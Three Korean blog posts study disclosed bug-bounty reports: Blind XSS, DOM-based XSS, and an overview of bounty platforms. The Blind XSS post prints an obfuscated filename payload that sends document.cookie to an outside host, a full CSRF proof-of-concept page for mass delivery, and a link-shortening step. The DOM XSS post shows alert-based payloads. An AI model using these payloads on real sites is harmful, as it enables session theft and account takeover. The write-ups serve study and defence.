반응형

Hactivity 중에서 Blind XSS 관련 취약점이 눈에 띄길래 정리해보려고 합니다.

역시 XSS 취약점 중에서도 큰 금액인 $1,000를 바운티로 받았습니다. 아마 영향도가 커서 그렇게 적용된 것으로 보입니다.

 

Blind XSS(Cross Site Scripting)란?

Blind XSS 공격이란 Stored XSS 공격의 한 종류? CASE입니다. 저 같은 경우, XSS 취약점을 검수할 때는 우선 악성 스크립트 구문을 삽입한 후 응답 내 해당 구문이 정상적으로 삽입이 되었는가, 또 삽입된 구문이 클라이언트 측에서 성공적으로 실행이 되는가를 기준으로 점검하고 있습니다.

 

하지만, Blind XSS의 경우 삽입한 페이로드가 어디에 저장되었는지, 언제 실행될지 모르는 상황일 때를 말합니다. 예를 들어, 특정 사이트의 신고 또는 문의 기능처럼 사용자가 등록하였지만 해당 글은 노출되지 않고 관리자 페이지에서만 확인 가능한 경우..등이 대표적입니다. 

 

사실 기존에 알고있던 Stored XSS 취약점과 별반 다를 게 없지만, 공격자 측에서 악성 스크립트가 실행되는 여부 및 위치를 바로 확인할 수 없는 특수한 경우Blind XSS라고 칭하는 것을 이번에 처음 알게 되었습니다.

 

Blind XSS 공격은 언제 어디서 실행될지 모르지만 분명 잠재적인 영향력이 존재합니다. 관리자 페이지 또는 로그 서버 등에서 삽입된 악성 페이로드가 실행된다면, 내부망 침투까지 가능한 시나리오가 존재하기 때문에 더욱 위험합니다.

 

 

Blind XSS(Cross Site Scripting)의 대표적인 CASE

1. Logon forms

대부분의 사이트에서 로그인할 경우 성공 또는 실패한 로그인 기록을 로그 파일에 저장합니다.(책임 추적성 근거) 만약, 사용자 입력값에 대한 적절한 검증이 이루어지고 있지 않다면 공격자는 악의적인 스크립트 구문을 로그 DB/파일에 저장하기 위해 여러 번 로그온 시도를 할 것이고, 추후 관리자가 모니터링을 위해 웹 페이지에서 해당 로그를 오픈한다면 악의적으로 삽입된 구문이 실행될 수 있습니다.

 

2. Forums / Message boards

위에서 언급했다시피 공격자는 포럼 또는 게시판 제목 또는 내용 항목에 악성 스크립트 구문을 삽입할 수 있습니다. 데이터베이스에 저장된 악성 페이로드가 인기 보고서와 같은 포럼 관리 웹 페이지를 로드할 때 노출되어 스크립트 구문이 실행되며, 해당 스크립트로 인해 정보 노출, 리다이렉션, 서비스 거부 공격(DOS) 등을 야기할 수 있습니다.

 

3. ETC

  • Contact/Feedback pages
  • Log viewers
  • Exception handlers
  • Chat Applications / forums
  • Customer Ticket Applications
  • Web Application Firewalls
  • Any Application that requires user moderation

 

Bug Bounty CASE

실제 버그 바운티 사례를 보도록 하겠습니다.

 

 

요약하자면, 해커는 support 채팅에 이미지를 보내고, 해당 이미지 이름에 스크립트 구문을 삽입 후 변경하여 XSS 취약점을 발생시켰고, CSRF 취약점을 이용하여 XSS 취약점이 존재하는 이미지를 모든 사용자에게 보낼 수 있다고 설명하였습니다.

 

Steps to Reproduce 

1. support chat에 이미지 업로드

2. 파일 명을 아래의 스크립트 구문으로 변조

\"><img src=1 onerror=\"url=String['fromCharCode'](104,116,116,112,115,58,47,47,103,97,116,111,108,111,117,99,111,46,48,48,48,119,101,98,104,111,115,116,97,112,112,46,99,111,109,47,99,115,109,111,110,101,121,47,105,110,100,101,120,46,112,104,112,63,116,111,107,101,110,115,61)+encodeURIComponent(document['cookie']);xhttp= new XMLHttpRequest();xhttp['open']('GET',url,true);xhttp['send']();

3. support chat을 열 경우 XSS 공격이 실행된다.

 

4. 서버는 이미지 전송 시 토큰 값 및 헤더의 'Origin and Reference' 값을 검증하지 않아 CSRF 취약점이 발견

5. 임의의 웹 서버에 'index.php' 이름으로 CSRF 공격 파일 호스트

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://support.cs.money/upload_file", false);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"\\\" onerror=alert('xss') \\\"\"\r\n" +
          "Content-Type: image/png\r\n" +
          "\r\n" +
          String.fromCharCode(0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x06, 0x00, 0x00, 0x00, 0x1F, 0x15, 0xC4, 0x89, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00, 0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00, 0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7, 0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x44, 0x41, 0x54, 0x18, 0x57, 0x63, 0xF8, 0xFB, 0xF7, 0xFF, 0x7F, 0x00, 0x09, 0xED, 0x03, 0xF9, 0x94, 0x8C, 0x14, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82) + "\r\n" +
          "-----------------------------256672629917035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    try{      submitRequest();

    }catch(e){
        location.href="https://cs.money";

    }
    </script>

  </body>
</html>

6. 파일 링크를 더 짧은 도메인(bit.ly)으로 단축하거나 csmoney.shop과 같은 도메인 사용

7. 공격 구문 전송 후 Massive XSS 공격 성공

 

Blind XSS 대응방안

기존 Reflected, Stored XSS 취약점의 대응방안과 다를 게 없습니다. 따라서 가장 효과적인 방법으로는 "코드 검토를 통한 사용자 입력값 검증(위생처리)"라고 할 수 있습니다. 

 


좀 더 추가하고 싶은 내용이 생긴다면 추가할 예정!


※ 참고 자료

- https://hackerone.com/reports/1010466

- https://www.hahwul.com/2017/11/12/web-hacking-blind-xsscross-site/

- https://medium.com/@R0X4R/introduction-to-blind-xss-417dcf9c842c
- https://www.acunetix.com/websitesecurity/detecting-blind-xss-vulnerabilities/

- https://www.acunetix.com/blog/articles/blind-xss/

반응형

'Study > Bug Bounty' 카테고리의 다른 글

[XSS] DOM Based XSS(Cross Site Scripting)  (0) 2020.04.17
#1. Bug Bounty Platform  (0) 2020.02.21
반응형

[Bug Bounty] 카테고리에 해커원에서 발표한 취약점을 정리하려고 했는데,, 이제야 첫 글을 쓰네요ㅠ

 

위 취약점은 https://www.forescout.com 사이트에서 발견되었으며, DOM Based XSS 취약점입니다.

해커는 바운티로 $1,000를 받았네요. 타 사이트에 비해 XSS 취약점 바운티로 큰 금액을 받은 것 같습니다.

 

DOM Based XSS(Cross Site Scripting)란?

DOM(Document Object Model)은 HTML 및 XML 문서에 접근하는 방법을 표준으로 정의하는 문서 객체 모델입니다.

즉, 구조화된 문서를 표현하는 방식으로 W3C의 공식 표준입니다.

 

DOM Based XSS(=type-0 XSS)는 피해자의 브라우저에서 DOM 환경을 수정하여 클라이언트 측 코드가 예상치 못한 방식으로 공격 구문이 실행되는 XSS(Cross Site Scripting) 공격입니다. 즉, 페이지 자체(HTTP 응답)는 변경되지 않지만, 페이지에 포함된 클라이언트 측 코드는 DOM환경에서 발생한 악의적인 변조로 인해 공격 구문이 실행됩니다.

 

익히 알고 있는 Stored XSS, Reflected XSS 취약점인 경우 서버 측 결함으로 인해 응답 페이지에 악성 스크립트 구문이 포함되어 브라우저로 전달되는 것이지만, DOM Based XSS 취약점인 경우 서버와 관계없이 브라우저에서 발생합니다.

 

DOM Based XSS(Cross Site Scripting) 공격 시나리오

1. 아래와 같은 URL로 호출되는 페이지가 존재한다고 가정

http://www.test.com/page.html?default=English

2. Attacker에 의해 DOM Based XSS 공격 페이로드 전송

http://www.test.com/page.html?default=<script>alert(document.cookie);</script>

3. 피해자가 2번 링크를 클릭하면, 브라우저가 다음 요청을 전송

/page.html?default=<script>alert(document.cookie);</script>

4. 서버(www.test.com)에서 위 자바 스크립트 코드가 포함된 페이지로 응답/브라우저는 페이지에 대한 DOM 객체 생성

http://www.test.com/page.html?default=<script>alert(document.cookie);</script>

5. 브라우저에 의해 Attacker의 악성 스크립트 구문 실행

alert(document.cookie);

 

즉, 서버에서 전송된 HTTP 응답 값에는 Attacker의 공격 구문이 포함되어 있지 않으며, DOM 객체 생성 시 클라이언트 측 스크립트에 포함되는 것입니다.

 

Bug Bounty Case

이번에는 실제 버그 바운티 사례를 보도록 하겠습니다.

 

https://www.forescout.com/#<img src=x onerror=alert('XSS')>

간단합니다. 해커는 단순히 위의 공격 페이로드를 이용해 DOM Based XSS 취약점을 유발시켰습니다.

 

그러나, 해당 취약점은 Microsoft Edge와 Internet Explorer 브라우저에서만 실행 가능했다고 합니다.

크롬이나 파이어폭스 브라우저일 경우, 기본적으로 system hash url 인코딩 기능이 적용되어있었기 때문입니다.

 

아래는 취약한 코드입니다. window.location.hash 함수에 대한 입력값 필터링이 없어 악성 스크립트 구문이 실행 가능합니다.

jQuery(window).load(function() {
jQuery('a.fancybox-inline[href="' + window.location.hash + '"]:first').each(function() {
jQuery(this).delay(700).trigger('click');
});
});

 

 

위 사진은 해커가 업로드한 해당 사이트에서 발생한 DOM Based XSS 취약점 증적입니다.

 

DOM Based XSS 영향

  • 피해자의 브라우저에 악성 코드 주입 및 실행 가능
  • 악성 사이트로 리다이렉트 처리 가능(피싱)
  • 피해자의 인증 정보(쿠키 등) 탈취 가능

 


[참고 자료]

- https://hackerone.com/reports/704266

- https://owasp.org/www-community/attacks/DOM_Based_XSS

- https://berr-my.tistory.com/entry/XSS-%EA%B3%B5%EA%B2%A9

- https://portswigger.net/web-security/cross-site-scripting/dom-based

- https://gotowebsecurity.com/dom-based-cross-site-scripting-fix/

반응형

'Study > Bug Bounty' 카테고리의 다른 글

[XSS]Blind XSS(Cross Site Scripting)  (2) 2021.01.20
#1. Bug Bounty Platform  (0) 2020.02.21
반응형
1. 개요

버그 바운티란? 

특정 기업에서 제공하는 서비스와 제품을 해킹해서 취약점을 발견한 해커에게 포상금을 지급하는 제도입니다.

구글, 애플, 페이스북 등 많은 기업이 버그 바운티 프로그램을 활용하고 있으며, 국내에서도 2012년부터 KISA(한국인터넷진흥원)이 도입하여 운영 중입니다.

하지만, 버그 바운티를 운영하고 있는 기업이라고 해서 무턱대고 공격을 수행하는 것은 아닙니다.

일반적으로는 해커와 기업을 연결하는 전문 업체(해커원 등)를 이용하고 있으며, 자체 플랫폼을 이용하는 경우도 있습니다.

현재 기준(2020년)으로 버그 바운티를 수행할 수 있는 플랫폼을 소개해볼까 합니다.

 

2. Hackerone

해커원은 버그 바운티를 운영하는 기업과 화이트 해커를 연결해주는 세계 최대 플랫폼입니다.

 

해커원의 버그 바운티는 아래의 프로세스로 진행되고 있습니다.

1. Create an account. https://hackerone.com/users/sign_up // 계정 생성

2. Verify your email. // 이메일 인증

3. Configure your profile and account settings under Settings. // 프로필 세팅

4. Explore Hacktivity to see what hacker activity is trending. // Hacking

5. Submit a vulnerability report. // 보고서 작성 및 제출(외국기업이기 때문에 영어로 작성 필요..ㅠ)

 

로그인 후 [Programs] 메뉴에 접속하면, 버그 바운티를 운영하고 있는 기업의 리스트가 나열된 것을 확인할 수 있습니다.

 

임의의 기업을 클릭해서 들어가면 상단에 리포트를 제출하는 버튼이 있습니다. 취약점 제보는 저기를 통해서 하면 되겠죠?

하단에는 운영중인 버그 바운티 프로그램의 정책들과 세부사항이 나와있습니다.

 

가장 하단의 In Scope 즉 대상 범위의 도메인을 대상으로 취약점 진단을 진행하시면 됩니다.

기업마다 비슷한 Program Rules가 제정되어 있으나, 버그 바운티를 진행하기 전 꼭 필독하시고 진행하셔야 합니다.

회원가입 시 해커원 이메일을 사용해야 한다거나, 이름을 이렇게 써라..라는 등의 정책이 있더라고요!

 

3. KISA

국내의 버그 바운티는 KISA(한국인터넷진흥원)이 운영 중에 있습니다.

 

그러나, 신고대상 취약점이 '소프트웨어'에 대한 보안 취약점으로 최신 버전의 소프트웨어 영향을 줄 수 있는 신규 보안 취약점(제로데이 취약점)라고 한정되어 있습니다.

아래에 나온 기업을 대상으로 버그 바운티를 진행하시면 될 것 같습니다.

https://www.krcert.or.kr/consult/software/vulnerability.do 왼쪽 링크에 가셔서 정책과 주의사항을 다시 한번 확인하시고 진행하시길 바랍니다^^

 

4. 자체 플랫폼 - NAVER

네이버는 국내에서 자체로 버그 바운티 프로그램을 운영하고 있는 기업 중 하나입니다.

 

위의 도메인과 소프트웨어를 대상으로 버그 바운티를 운영 중이며, 

자세한 사항은 https://bugbounty.naver.com/ko/에서 확인하시면 됩니다.

 

5. 자체 플랫폼 - RidiBooks

리디북스에서도 현재 버그 바운티를 자체적으로 운영하고 있습니다.

 

대상의 위의 도메인과 애플리케이션을 참고하시면 되고요,

https://ridi.dev/bounty.html에서 더 자세한 사항 확인하시면 됩니다.

 

 

 

현재 기준으로 버그 바운티가 가능한 플랫폼을 정리해보았습니다. 추후 다른 곳을 찾으면 추가로 업로드하겠습니다.

반응형

'Study > Bug Bounty' 카테고리의 다른 글

[XSS]Blind XSS(Cross Site Scripting)  (2) 2021.01.20
[XSS] DOM Based XSS(Cross Site Scripting)  (0) 2020.04.17

+ Recent posts

반응형
반응형